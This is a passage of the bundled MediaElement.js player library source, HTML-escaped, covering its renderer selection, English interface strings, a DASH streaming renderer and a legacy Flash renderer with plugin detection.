	mediaTypes: [&#039;audio/mp3&#039;, &#039;audio/ogg&#039;, &#039;audio/oga&#039;, &#039;audio/wav&#039;, &#039;audio/x-wav&#039;, &#039;audio/wave&#039;, &#039;audio/x-pn-wav&#039;, &#039;audio/mpeg&#039;, &#039;audio/mp4&#039;, &#039;video/mp4&#039;, &#039;video/webm&#039;, &#039;video/ogg&#039;, &#039;video/ogv&#039;]
};

_window2.default.mejs = mejs;

exports.default = mejs;

},{&quot;3&quot;:3}],8:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
exports.renderer = undefined;

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i &lt; props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (&quot;value&quot; in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(&quot;Cannot call a class as a function&quot;); } }

var Renderer = function () {
	function Renderer() {
		_classCallCheck(this, Renderer);

		this.renderers = {};
		this.order = [];
	}

	_createClass(Renderer, [{
		key: &#039;add&#039;,
		value: function add(renderer) {
			if (renderer.name === undefined) {
				throw new TypeError(&#039;renderer must contain at least `name` property&#039;);
			}

			this.renderers[renderer.name] = renderer;
			this.order.push(renderer.name);
		}
	}, {
		key: &#039;select&#039;,
		value: function select(mediaFiles) {
			var renderers = arguments.length &gt; 1 &amp;&amp; arguments[1] !== undefined ? arguments[1] : [];

			var renderersLength = renderers.length;

			renderers = renderers.length ? renderers : this.order;

			if (!renderersLength) {
				var rendererIndicator = [/^(html5|native)/i, /^flash/i, /iframe$/i],
				    rendererRanking = function rendererRanking(renderer) {
					for (var i = 0, total = rendererIndicator.length; i &lt; total; i++) {
						if (rendererIndicator[i].test(renderer)) {
							return i;
						}
					}
					return rendererIndicator.length;
				};

				renderers.sort(function (a, b) {
					return rendererRanking(a) - rendererRanking(b);
				});
			}

			for (var i = 0, total = renderers.length; i &lt; total; i++) {
				var key = renderers[i],
				    _renderer = this.renderers[key];

				if (_renderer !== null &amp;&amp; _renderer !== undefined) {
					for (var j = 0, jl = mediaFiles.length; j &lt; jl; j++) {
						if (typeof _renderer.canPlayType === &#039;function&#039; &amp;&amp; typeof mediaFiles[j].type === &#039;string&#039; &amp;&amp; _renderer.canPlayType(mediaFiles[j].type)) {
							return {
								rendererName: _renderer.name,
								src: mediaFiles[j].src
							};
						}
					}
				}
			}

			return null;
		}
	}, {
		key: &#039;order&#039;,
		set: function set(order) {
			if (!Array.isArray(order)) {
				throw new TypeError(&#039;order must be an array of strings.&#039;);
			}

			this._order = order;
		},
		get: function get() {
			return this._order;
		}
	}, {
		key: &#039;renderers&#039;,
		set: function set(renderers) {
			if (renderers !== null &amp;&amp; (typeof renderers === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(renderers)) !== &#039;object&#039;) {
				throw new TypeError(&#039;renderers must be an array of objects.&#039;);
			}

			this._renderers = renderers;
		},
		get: function get() {
			return this._renderers;
		}
	}]);

	return Renderer;
}();

var renderer = exports.renderer = new Renderer();

_mejs2.default.Renderers = renderer;

},{&quot;7&quot;:7}],9:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
var EN = exports.EN = {
	&#039;mejs.plural-form&#039;: 1,

	&#039;mejs.download-file&#039;: &#039;Download File&#039;,

	&#039;mejs.install-flash&#039;: &#039;You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/&#039;,

	&#039;mejs.fullscreen&#039;: &#039;Fullscreen&#039;,

	&#039;mejs.play&#039;: &#039;Play&#039;,
	&#039;mejs.pause&#039;: &#039;Pause&#039;,

	&#039;mejs.time-slider&#039;: &#039;Time Slider&#039;,
	&#039;mejs.time-help-text&#039;: &#039;Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.&#039;,
	&#039;mejs.live-broadcast&#039;: &#039;Live Broadcast&#039;,

	&#039;mejs.volume-help-text&#039;: &#039;Use Up/Down Arrow keys to increase or decrease volume.&#039;,
	&#039;mejs.unmute&#039;: &#039;Unmute&#039;,
	&#039;mejs.mute&#039;: &#039;Mute&#039;,
	&#039;mejs.volume-slider&#039;: &#039;Volume Slider&#039;,

	&#039;mejs.video-player&#039;: &#039;Video Player&#039;,
	&#039;mejs.audio-player&#039;: &#039;Audio Player&#039;,

	&#039;mejs.captions-subtitles&#039;: &#039;Captions/Subtitles&#039;,
	&#039;mejs.captions-chapters&#039;: &#039;Chapters&#039;,
	&#039;mejs.none&#039;: &#039;None&#039;,
	&#039;mejs.afrikaans&#039;: &#039;Afrikaans&#039;,
	&#039;mejs.albanian&#039;: &#039;Albanian&#039;,
	&#039;mejs.arabic&#039;: &#039;Arabic&#039;,
	&#039;mejs.belarusian&#039;: &#039;Belarusian&#039;,
	&#039;mejs.bulgarian&#039;: &#039;Bulgarian&#039;,
	&#039;mejs.catalan&#039;: &#039;Catalan&#039;,
	&#039;mejs.chinese&#039;: &#039;Chinese&#039;,
	&#039;mejs.chinese-simplified&#039;: &#039;Chinese (Simplified)&#039;,
	&#039;mejs.chinese-traditional&#039;: &#039;Chinese (Traditional)&#039;,
	&#039;mejs.croatian&#039;: &#039;Croatian&#039;,
	&#039;mejs.czech&#039;: &#039;Czech&#039;,
	&#039;mejs.danish&#039;: &#039;Danish&#039;,
	&#039;mejs.dutch&#039;: &#039;Dutch&#039;,
	&#039;mejs.english&#039;: &#039;English&#039;,
	&#039;mejs.estonian&#039;: &#039;Estonian&#039;,
	&#039;mejs.filipino&#039;: &#039;Filipino&#039;,
	&#039;mejs.finnish&#039;: &#039;Finnish&#039;,
	&#039;mejs.french&#039;: &#039;French&#039;,
	&#039;mejs.galician&#039;: &#039;Galician&#039;,
	&#039;mejs.german&#039;: &#039;German&#039;,
	&#039;mejs.greek&#039;: &#039;Greek&#039;,
	&#039;mejs.haitian-creole&#039;: &#039;Haitian Creole&#039;,
	&#039;mejs.hebrew&#039;: &#039;Hebrew&#039;,
	&#039;mejs.hindi&#039;: &#039;Hindi&#039;,
	&#039;mejs.hungarian&#039;: &#039;Hungarian&#039;,
	&#039;mejs.icelandic&#039;: &#039;Icelandic&#039;,
	&#039;mejs.indonesian&#039;: &#039;Indonesian&#039;,
	&#039;mejs.irish&#039;: &#039;Irish&#039;,
	&#039;mejs.italian&#039;: &#039;Italian&#039;,
	&#039;mejs.japanese&#039;: &#039;Japanese&#039;,
	&#039;mejs.korean&#039;: &#039;Korean&#039;,
	&#039;mejs.latvian&#039;: &#039;Latvian&#039;,
	&#039;mejs.lithuanian&#039;: &#039;Lithuanian&#039;,
	&#039;mejs.macedonian&#039;: &#039;Macedonian&#039;,
	&#039;mejs.malay&#039;: &#039;Malay&#039;,
	&#039;mejs.maltese&#039;: &#039;Maltese&#039;,
	&#039;mejs.norwegian&#039;: &#039;Norwegian&#039;,
	&#039;mejs.persian&#039;: &#039;Persian&#039;,
	&#039;mejs.polish&#039;: &#039;Polish&#039;,
	&#039;mejs.portuguese&#039;: &#039;Portuguese&#039;,
	&#039;mejs.romanian&#039;: &#039;Romanian&#039;,
	&#039;mejs.russian&#039;: &#039;Russian&#039;,
	&#039;mejs.serbian&#039;: &#039;Serbian&#039;,
	&#039;mejs.slovak&#039;: &#039;Slovak&#039;,
	&#039;mejs.slovenian&#039;: &#039;Slovenian&#039;,
	&#039;mejs.spanish&#039;: &#039;Spanish&#039;,
	&#039;mejs.swahili&#039;: &#039;Swahili&#039;,
	&#039;mejs.swedish&#039;: &#039;Swedish&#039;,
	&#039;mejs.tagalog&#039;: &#039;Tagalog&#039;,
	&#039;mejs.thai&#039;: &#039;Thai&#039;,
	&#039;mejs.turkish&#039;: &#039;Turkish&#039;,
	&#039;mejs.ukrainian&#039;: &#039;Ukrainian&#039;,
	&#039;mejs.vietnamese&#039;: &#039;Vietnamese&#039;,
	&#039;mejs.welsh&#039;: &#039;Welsh&#039;,
	&#039;mejs.yiddish&#039;: &#039;Yiddish&#039;
};

},{}],10:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _renderer = _dereq_(8);

var _general = _dereq_(18);

var _media = _dereq_(19);

var _constants = _dereq_(16);

var _dom = _dereq_(17);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var NativeDash = {

	promise: null,

	load: function load(settings) {
		if (typeof dashjs !== &#039;undefined&#039;) {
			NativeDash.promise = new Promise(function (resolve) {
				resolve();
			}).then(function () {
				NativeDash._createPlayer(settings);
			});
		} else {
			settings.options.path = typeof settings.options.path === &#039;string&#039; ? settings.options.path : &#039;https://cdn.dashjs.org/latest/dash.all.min.js&#039;;

			NativeDash.promise = NativeDash.promise || (0, _dom.loadScript)(settings.options.path);
			NativeDash.promise.then(function () {
				NativeDash._createPlayer(settings);
			});
		}

		return NativeDash.promise;
	},

	_createPlayer: function _createPlayer(settings) {
		var player = dashjs.MediaPlayer().create();
		_window2.default[&#039;__ready__&#039; + settings.id](player);
		return player;
	}
};

var DashNativeRenderer = {
	name: &#039;native_dash&#039;,
	options: {
		prefix: &#039;native_dash&#039;,
		dash: {
			path: &#039;https://cdn.dashjs.org/latest/dash.all.min.js&#039;,
			debug: false,
			drm: {},

			robustnessLevel: &#039;&#039;
		}
	},

	canPlayType: function canPlayType(type) {
		return _constants.HAS_MSE &amp;&amp; [&#039;application/dash+xml&#039;].indexOf(type.toLowerCase()) &gt; -1;
	},

	create: function create(mediaElement, options, mediaFiles) {

		var originalNode = mediaElement.originalNode,
		    id = mediaElement.id + &#039;_&#039; + options.prefix,
		    autoplay = originalNode.autoplay,
		    children = originalNode.children;

		var node = null,
		    dashPlayer = null;

		originalNode.removeAttribute(&#039;type&#039;);
		for (var i = 0, total = children.length; i &lt; total; i++) {
			children[i].removeAttribute(&#039;type&#039;);
		}

		node = originalNode.cloneNode(true);
		options = Object.assign(options, mediaElement.options);

		var props = _mejs2.default.html5media.properties,
		    events = _mejs2.default.html5media.events.concat([&#039;click&#039;, &#039;mouseover&#039;, &#039;mouseout&#039;]).filter(function (e) {
			return e !== &#039;error&#039;;
		}),
		    attachNativeEvents = function attachNativeEvents(e) {
			var event = (0, _general.createEvent)(e.type, mediaElement);
			mediaElement.dispatchEvent(event);
		},
		    assignGettersSetters = function assignGettersSetters(propName) {
			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

			node[&#039;get&#039; + capName] = function () {
				return dashPlayer !== null ? node[propName] : null;
			};

			node[&#039;set&#039; + capName] = function (value) {
				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
					if (propName === &#039;src&#039;) {
						var source = (typeof value === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(value)) === &#039;object&#039; &amp;&amp; value.src ? value.src : value;
						node[propName] = source;
						if (dashPlayer !== null) {
							dashPlayer.reset();
							for (var _i = 0, _total = events.length; _i &lt; _total; _i++) {
								node.removeEventListener(events[_i], attachNativeEvents);
							}
							dashPlayer = NativeDash._createPlayer({
								options: options.dash,
								id: id
							});

							if (value &amp;&amp; (typeof value === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(value)) === &#039;object&#039; &amp;&amp; _typeof(value.drm) === &#039;object&#039;) {
								dashPlayer.setProtectionData(value.drm);
								if ((0, _general.isString)(options.dash.robustnessLevel) &amp;&amp; options.dash.robustnessLevel) {
									dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel);
								}
							}
							dashPlayer.attachSource(source);
							if (autoplay) {
								dashPlayer.play();
							}
						}
					} else {
						node[propName] = value;
					}
				}
			};
		};

		for (var _i2 = 0, _total2 = props.length; _i2 &lt; _total2; _i2++) {
			assignGettersSetters(props[_i2]);
		}

		_window2.default[&#039;__ready__&#039; + id] = function (_dashPlayer) {
			mediaElement.dashPlayer = dashPlayer = _dashPlayer;

			var dashEvents = dashjs.MediaPlayer.events,
			    assignEvents = function assignEvents(eventName) {
				if (eventName === &#039;loadedmetadata&#039;) {
					dashPlayer.initialize();
					dashPlayer.attachView(node);
					dashPlayer.setAutoPlay(false);

					if (_typeof(options.dash.drm) === &#039;object&#039; &amp;&amp; !_mejs2.default.Utils.isObjectEmpty(options.dash.drm)) {
						dashPlayer.setProtectionData(options.dash.drm);
						if ((0, _general.isString)(options.dash.robustnessLevel) &amp;&amp; options.dash.robustnessLevel) {
							dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel);
						}
					}
					dashPlayer.attachSource(node.getSrc());
				}

				node.addEventListener(eventName, attachNativeEvents);
			};

			for (var _i3 = 0, _total3 = events.length; _i3 &lt; _total3; _i3++) {
				assignEvents(events[_i3]);
			}

			var assignMdashEvents = function assignMdashEvents(e) {
				if (e.type.toLowerCase() === &#039;error&#039;) {
					mediaElement.generateError(e.message, node.src);
					console.error(e);
				} else {
					var _event = (0, _general.createEvent)(e.type, mediaElement);
					_event.data = e;
					mediaElement.dispatchEvent(_event);
				}
			};

			for (var eventType in dashEvents) {
				if (dashEvents.hasOwnProperty(eventType)) {
					dashPlayer.on(dashEvents[eventType], function (e) {
						return assignMdashEvents(e);
					});
				}
			}
		};

		if (mediaFiles &amp;&amp; mediaFiles.length &gt; 0) {
			for (var _i4 = 0, _total4 = mediaFiles.length; _i4 &lt; _total4; _i4++) {
				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) {
					node.setAttribute(&#039;src&#039;, mediaFiles[_i4].src);
					if (typeof mediaFiles[_i4].drm !== &#039;undefined&#039;) {
						options.dash.drm = mediaFiles[_i4].drm;
					}
					break;
				}
			}
		}

		node.setAttribute(&#039;id&#039;, id);

		originalNode.parentNode.insertBefore(node, originalNode);
		originalNode.autoplay = false;
		originalNode.style.display = &#039;none&#039;;

		node.setSize = function (width, height) {
			node.style.width = width + &#039;px&#039;;
			node.style.height = height + &#039;px&#039;;
			return node;
		};

		node.hide = function () {
			node.pause();
			node.style.display = &#039;none&#039;;
			return node;
		};

		node.show = function () {
			node.style.display = &#039;&#039;;
			return node;
		};

		node.destroy = function () {
			if (dashPlayer !== null) {
				dashPlayer.reset();
			}
		};

		var event = (0, _general.createEvent)(&#039;rendererready&#039;, node);
		mediaElement.dispatchEvent(event);

		mediaElement.promises.push(NativeDash.load({
			options: options.dash,
			id: id
		}));

		return node;
	}
};

_media.typeChecks.push(function (url) {
	return ~url.toLowerCase().indexOf(&#039;.mpd&#039;) ? &#039;application/dash+xml&#039; : null;
});

_renderer.renderer.add(DashNativeRenderer);

},{&quot;16&quot;:16,&quot;17&quot;:17,&quot;18&quot;:18,&quot;19&quot;:19,&quot;3&quot;:3,&quot;7&quot;:7,&quot;8&quot;:8}],11:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
exports.PluginDetector = undefined;

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _i18n = _dereq_(5);

var _i18n2 = _interopRequireDefault(_i18n);

var _renderer = _dereq_(8);

var _general = _dereq_(18);

var _constants = _dereq_(16);

var _media = _dereq_(19);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var PluginDetector = exports.PluginDetector = {
	plugins: [],

	hasPluginVersion: function hasPluginVersion(plugin, v) {
		var pv = PluginDetector.plugins[plugin];
		v[1] = v[1] || 0;
		v[2] = v[2] || 0;
		return pv[0] &gt; v[0] || pv[0] === v[0] &amp;&amp; pv[1] &gt; v[1] || pv[0] === v[0] &amp;&amp; pv[1] === v[1] &amp;&amp; pv[2] &gt;= v[2];
	},

	addPlugin: function addPlugin(p, pluginName, mimeType, activeX, axDetect) {
		PluginDetector.plugins[p] = PluginDetector.detectPlugin(pluginName, mimeType, activeX, axDetect);
	},

	detectPlugin: function detectPlugin(pluginName, mimeType, activeX, axDetect) {

		var version = [0, 0, 0],
		    description = void 0,
		    ax = void 0;

		if (_constants.NAV.plugins !== null &amp;&amp; _constants.NAV.plugins !== undefined &amp;&amp; _typeof(_constants.NAV.plugins[pluginName]) === &#039;object&#039;) {
			description = _constants.NAV.plugins[pluginName].description;
			if (description &amp;&amp; !(typeof _constants.NAV.mimeTypes !== &#039;undefined&#039; &amp;&amp; _constants.NAV.mimeTypes[mimeType] &amp;&amp; !_constants.NAV.mimeTypes[mimeType].enabledPlugin)) {
				version = description.replace(pluginName, &#039;&#039;).replace(/^\s+/, &#039;&#039;).replace(/\sr/gi, &#039;.&#039;).split(&#039;.&#039;);
				for (var i = 0, total = version.length; i &lt; total; i++) {
					version[i] = parseInt(version[i].match(/\d+/), 10);
				}
			}
		} else if (_window2.default.ActiveXObject !== undefined) {
			try {
				ax = new ActiveXObject(activeX);
				if (ax) {
					version = axDetect(ax);
				}
			} catch (e) {
				
			}
		}
		return version;
	}
};

PluginDetector.addPlugin(&#039;flash&#039;, &#039;Shockwave Flash&#039;, &#039;application/x-shockwave-flash&#039;, &#039;ShockwaveFlash.ShockwaveFlash&#039;, function (ax) {
	var version = [],
	    d = ax.GetVariable(&quot;$version&quot;);

	if (d) {
		d = d.split(&quot; &quot;)[1].split(&quot;,&quot;);
		version = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)];
	}
	return version;
});

var FlashMediaElementRenderer = {
	create: function create(mediaElement, options, mediaFiles) {

		var flash = {};
		var isActive = false;

		flash.options = options;
		flash.id = mediaElement.id + &#039;_&#039; + flash.options.prefix;
		flash.mediaElement = mediaElement;
		flash.flashState = {};
		flash.flashApi = null;
		flash.flashApiStack = [];

		var props = _mejs2.default.html5media.properties,
		    assignGettersSetters = function assignGettersSetters(propName) {
			flash.flashState[propName] = null;

			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

			flash[&#039;get&#039; + capName] = function () {
				if (flash.flashApi !== null) {
					if (typeof flash.flashApi[&#039;get_&#039; + propName] === &#039;function&#039;) {
						var value = flash.flashApi[&#039;get_&#039; + propName]();

						if (propName === &#039;buffered&#039;) {
							return {
								start: function start() {
									return 0;
								},
								end: function end() {
									return value;
								},
								length: 1
							};
						}
						return value;
					} else {
						return null;
					}
				} else {
					return null;
				}
			};

			flash[&#039;set&#039; + capName] = function (value) {
				if (propName === &#039;src&#039;) {
					value = (0, _media.absolutizeUrl)(value);
				}

				if (flash.flashApi !== null &amp;&amp; flash.flashApi[&#039;set_&#039; + propName] !== undefined) {
					try {
						flash.flashApi[&#039;set_&#039; + propName](value);
					} catch (e) {
						
					}
				} else {
					flash.flashApiStack.push({
						type: &#039;set&#039;,
						propName: propName,
						value: value
					});
				}
			};
		};

		for (var i = 0, total = props.length; i &lt; total; i++) {
			assignGettersSetters(props[i]);
		}

		var methods = _mejs2.default.html5media.methods,
		    assignMethods = function assignMethods(methodName) {
			flash[methodName] = function () {
				if (isActive) {
					if (flash.flashApi !== null) {
						if (flash.flashApi[&#039;fire_&#039; + methodName]) {
							try {
								flash.flashApi[&#039;fire_&#039; + methodName]();
							} catch (e) {
								
							}
						} else {
							
						}
					} else {
						flash.flashApiStack.push({
							type: &#039;call&#039;,
							methodName: methodName
						});
					}
				}
			};
		};
		methods.push(&#039;stop&#039;);
		for (var _i = 0, _total = methods.length; _i &lt; _total; _i++) {
			assignMethods(methods[_i]);
		}

		var initEvents = [&#039;rendererready&#039;];

		for (var _i2 = 0, _total2 = initEvents.length; _i2 &lt; _total2; _i2++) {
			var event = (0, _general.createEvent)(initEvents[_i2], flash);
			mediaElement.dispatchEvent(event);
		}

		_window2.default[&#039;__ready__&#039; + flash.id] = function () {

			flash.flashReady = true;
			flash.flashApi = _document2.default.getElementById(&#039;__&#039; + flash.id);

			if (flash.flashApiStack.length) {
				for (var _i3 = 0, _total3 = flash.flashApiStack.length; _i3 &lt; _total3; _i3++) {
					var stackItem = flash.flashApiStack[_i3];

					if (stackItem.type === &#039;set&#039;) {
						var propName = stackItem.propName,
						    capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

						flash[&#039;set&#039; + capName](stackItem.value);
					} else if (stackItem.type === &#039;call&#039;) {
						flash[stackItem.methodName]();
					}
				}
			}
		};

		_window2.default[&#039;__event__&#039; + flash.id] = function (eventName, message) {
			var event = (0, _general.createEvent)(eventName, flash);
			if (message) {
				try {
					event.data = JSON.parse(message);
					event.details.data = JSON.parse(message);
				} catch (e) {
					event.message = message;
				}
			}

			flash.mediaElement.dispatchEvent(event);
		};

		flash.flashWrapper = _document2.default.createElement(&#039;div&#039;);

		if ([&#039;always&#039;, &#039;sameDomain&#039;].indexOf(flash.options.shimScriptAccess) === -1) {
			flash.options.shimScriptAccess = &#039;sameDomain&#039;;
		}

		var autoplay = mediaElement.originalNode.autoplay,
		    flashVars = [&#039;uid=&#039; + flash.id, &#039;autoplay=&#039; + autoplay, &#039;allowScriptAccess=&#039; + flash.options.shimScriptAccess, &#039;preload=&#039; + (mediaElement.originalNode.getAttribute(&#039;preload&#039;) || &#039;&#039;)],
		    isVideo = mediaElement.originalNode !== null &amp;&amp; mediaElement.originalNode.tagName.toLowerCase() === &#039;video&#039;,
		    flashHeight = isVideo ? mediaElement.originalNode.height : 1,
		    flashWidth = isVideo ? mediaElement.originalNode.width : 1;

		if (mediaElement.originalNode.getAttribute(&#039;src&#039;)) {
			flashVars.push(&#039;src=&#039; + mediaElement.originalNode.getAttribute(&#039;src&#039;));
		}

		if (flash.options.enablePseudoStreaming === true) {
			flashVars.push(&#039;pseudostreamstart=&#039; + flash.options.pseudoStreamingStartQueryParam);
			flashVars.push(&#039;pseudostreamtype=&#039; + flash.options.pseudoStreamingType);
		}

		if (flash.options.streamDelimiter) {
			flashVars.push(&#039;streamdelimiter=&#039; + encodeURIComponent(flash.options.streamDelimiter));
		}

		if (flash.options.proxyType) {
			flashVars.push(&#039;proxytype=&#039; + flash.options.proxyType);
		}

		mediaElement.appendChild(flash.flashWrapper);
		mediaElement.originalNode.style.display = &#039;none&#039;;

		var settings = [];

		if (_constants.IS_IE || _constants.IS_EDGE) {
			var specialIEContainer = _document2.default.createElement(&#039;div&#039;);
			flash.flashWrapper.appendChild(specialIEContainer);

			if (_constants.IS_EDGE) {
				settings = [&#039;type=&quot;application/x-shockwave-flash&quot;&#039;, &#039;data=&quot;&#039; + flash.options.pluginPath + flash.options.filename + &#039;&quot;&#039;, &#039;id=&quot;__&#039; + flash.id + &#039;&quot;&#039;, &#039;width=&quot;&#039; + flashWidth + &#039;&quot;&#039;, &#039;height=&quot;&#039; + flashHeight + &#039;\&#039;&quot;&#039;];
			} else {
				settings = [&#039;classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot;&#039;, &#039;codebase=&quot;//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab&quot;&#039;, &#039;id=&quot;__&#039; + flash.id + &#039;&quot;&#039;, &#039;width=&quot;&#039; + flashWidth + &#039;&quot;&#039;, &#039;height=&quot;&#039; + flashHeight + &#039;&quot;&#039;];
			}

			if (!isVideo) {
				settings.push(&#039;style=&quot;clip: rect(0 0 0 0); position: absolute;&quot;&#039;);
			}

			specialIEContainer.outerHTML = &#039;&lt;object &#039; + settings.join(&#039; &#039;) + &#039;&gt;&#039; + (&#039;&lt;param name=&quot;movie&quot; value=&quot;&#039; + flash.options.pluginPath + flash.options.filename + &#039;?x=&#039; + new Date() + &#039;&quot; /&gt;&#039;) + (&#039;&lt;param name=&quot;flashvars&quot; value=&quot;&#039; + flashVars.join(&#039;&amp;amp;&#039;) + &#039;&quot; /&gt;&#039;) + &#039;&lt;param name=&quot;quality&quot; value=&quot;high&quot; /&gt;&#039; + &#039;&lt;param name=&quot;bgcolor&quot; value=&quot;#000000&quot; /&gt;&#039; + &#039;&lt;param name=&quot;wmode&quot; value=&quot;transparent&quot; /&gt;&#039; + (&#039;&lt;param name=&quot;allowScriptAccess&quot; value=&quot;&#039; + flash.options.shimScriptAccess + &#039;&quot; /&gt;&#039;) + &#039;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot; /&gt;&#039; + (&#039;&lt;div&gt;&#039; + _i18n2.default.t(&#039;mejs.install-flash&#039;) + &#039;&lt;/div&gt;&#039;) + &#039;&lt;/object&gt;&#039;;
		} else {

			settings = [&#039;id=&quot;__&#039; + flash.id + &#039;&quot;&#039;, &#039;name=&quot;__&#039; + flash.id + &#039;&quot;&#039;, &#039;play=&quot;true&quot;&#039;, &#039;loop=&quot;false&quot;&#039;, &#039;quality=&quot;high&quot;&#039;, &#039;bgcolor=&quot;#000000&quot;&#039;, &#039;wmode=&quot;transparent&quot;&#039;, &#039;allowScriptAccess=&quot;&#039; + flash.options.shimScriptAccess + &#039;&quot;&#039;, &#039;allowFullScreen=&quot;true&quot;&#039;, &#039;type=&quot;application/x-shockwave-flash&quot;&#039;, &#039;pluginspage=&quot;//www.macromedia.com/go/getflashplayer&quot;&#039;, &#039;src=&quot;&#039; + flash.options.pluginPath + flash.options.filename + &#039;&quot;&#039;, &#039;flashvars=&quot;&#039; + flashVars.join(&#039;&amp;&#039;) + &#039;&quot;&#039;];

			if (isVideo) {
				settings.push(&#039;width=&quot;&#039; + flashWidth + &#039;&quot;&#039;);
				settings.push(&#039;height=&quot;&#039; + flashHeight + &#039;&quot;&#039;);
			} else {
				settings.push(&#039;style=&quot;position: fixed; left: -9999em; top: -9999em;&quot;&#039;);
			}

			flash.flashWrapper.innerHTML = &#039;&lt;embed &#039; + settings.join(&#039; &#039;) + &#039;&gt;&#039;;
		}

		flash.flashNode = flash.flashWrapper.lastChild;

		flash.hide = function () {
			isActive = false;
			if (isVideo) {
				flash.flashNode.style.display = &#039;none&#039;;
			}
		};
		flash.show = function () {
			isActive = true;
			if (isVideo) {
				flash.flashNode.style.display = &#039;&#039;;
			}
		};
		flash.setSize = function (width, height) {
			flash.flashNode.style.width = width + &#039;px&#039;;
			flash.flashNode.style.height = height + &#039;px&#039;;

			if (flash.flashApi !== null &amp;&amp; typeof flash.flashApi.fire_setSize === &#039;function&#039;) {
				flash.flashApi.fire_setSize(width, height);
			}
		};

		flash.destroy = function () {
			flash.flashNode.remove();
		};

		if (mediaFiles &amp;&amp; mediaFiles.length &gt; 0) {
			for (var _i4 = 0, _total4 = mediaFiles.length; _i4 &lt; _total4; _i4++) {
				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) {
					flash.setSrc(mediaFiles[_i4].src);
					break;
				}
			}
		}

		return flash;
	}
};

var hasFlash = PluginDetector.hasPluginVersion(&#039;flash&#039;, [10, 0, 0]);

if (hasFlash) {
	_media.typeChecks.push(function (url) {
		url = url.toLowerCase();

		if (url.startsWith(&#039;rtmp&#039;)) {
			if (~url.indexOf(&#039;.mp3&#039;)) {
				return &#039;audio/rtmp&#039;;
			} else {
				return &#039;video/rtmp&#039;;
			}
		} else if (/\.og(a|g)/i.test(url)) {
			return &#039;audio/ogg&#039;;
		} else if (~url.indexOf(&#039;.m3u8&#039;)) {
			return &#039;application/x-mpegURL&#039;;
		} else if (~url.indexOf(&#039;.mpd&#039;)) {
			return &#039;application/dash+xml&#039;;
		} else if (~url.indexOf(&#039;.flv&#039;)) {
			return &#039;video/flv&#039;;
		} else {
			return null;
		}
	});

	var FlashMediaElementVideoRenderer = {
		name: &#039;flash_video&#039;,
		options: {
			prefix: &#039;flash_video&#039;,
			filename: &#039;mediaelement-flash-video.swf&#039;,
			enablePseudoStreaming: false,

			pseudoStreamingStartQueryParam: &#039;start&#039;,

			pseudoStreamingType: &#039;byte&#039;,

			proxyType: &#039;&#039;,

			streamDelimiter: &#039;&#039;
		},

		canPlayType: function canPlayType(type) {
			return ~[&#039;video/mp4&#039;, &#039;video/rtmp&#039;, &#039;audio/rtmp&#039;, &#039;rtmp/mp4&#039;, &#039;audio/mp4&#039;, &#039;video/flv&#039;, &#039;video/x-flv&#039;].indexOf(type.toLowerCase());
		},

		create: FlashMediaElementRenderer.create

	};
